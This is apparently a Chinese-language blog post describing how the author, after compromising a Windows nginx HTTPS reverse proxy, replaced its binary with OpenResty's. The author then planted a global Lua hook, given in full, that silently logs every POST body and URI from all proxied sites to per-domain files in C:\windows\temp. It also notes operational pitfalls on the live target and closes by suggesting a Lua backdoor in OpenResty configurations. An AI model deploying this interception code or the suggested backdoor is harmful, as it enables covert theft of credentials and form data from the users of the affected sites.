有一天小明日了一台windows版本nginx的https的反向的代理服务器(这语句不通顺)。。

攻击背景

  • 获取https反向代理服务器的数据请求数据
  • Windows平台

攻击流程

下载openresty和nginx的windows版本,先本地测试一下。

如果直接复制openresty里面的nginx.exe到原汁原味nginx解压包里面,提示缺少dll,没毛病。

把openresty里面的nginx.exe libgcc_s_dw2-1.dll lua51.dll,一起复制到纯天然版本nginx的文件夹里面,启动nginx.exe。

把本地环境搬到目标服务器测试下,没毛病,目标网站的反代正常工作,唯一不正常的就是http的response的header变成了openresty,可以修改openresty源代码。

截取POST数据包

根据P神的文章里面:

access_by_lua_file /usr/local/openresty/luasrc/fish.lua;

这个配置是http请求之前执行的,所以修改下这个lua文件:

local method=ngx.req.get_method()
local fd = io.open("C:\\windows\\temp\\"..ngx.var.host..".txt","ab")
ngx.req.read_body()
local data=ngx.req.get_body_data()
local uri = ngx.var.request_uri
if fd == nil then return end
if method == "POST" then
    if data == nil then return end
    fd:write(uri.."[*]"..data.."\n")
    fd:close()
end

代码保存为fish.lua,然后放到nginx里面conf目录下,修改nginx.conf:

access_by_lua_file conf/fish.lua;

把上面这一行放到nginx配置的server模块外面那一层,相当于全局过滤,因为目标服务器反向代理了n个站。

参考链接:

坑点:

  • 由于是直接在目标服务器操作的,中间把站点给down了n+n次,修改lua文件n次,主要依靠error.log来修改fish.lua,中间要判断data不为nil,参考上面文章。

  • openresty启动指定配置文件要绝对路径。

  • 如果lua在执行过程中出错(比如我碰到的data数据为空,虽然反代正常工作,但是用户登录就出错),服务器会报500,所以绝对保证lua文件不能出错。

最后达到什么效果: 截取所有的post数据和uri,根据域名放到不通的txt文件里面。

没图说个蛋蛋:

课后思考:

最后一个:如果某天撸了openresty的服务器,肿么感觉可以在配置里面留下一个lua的后门哩?

⬆︎TOP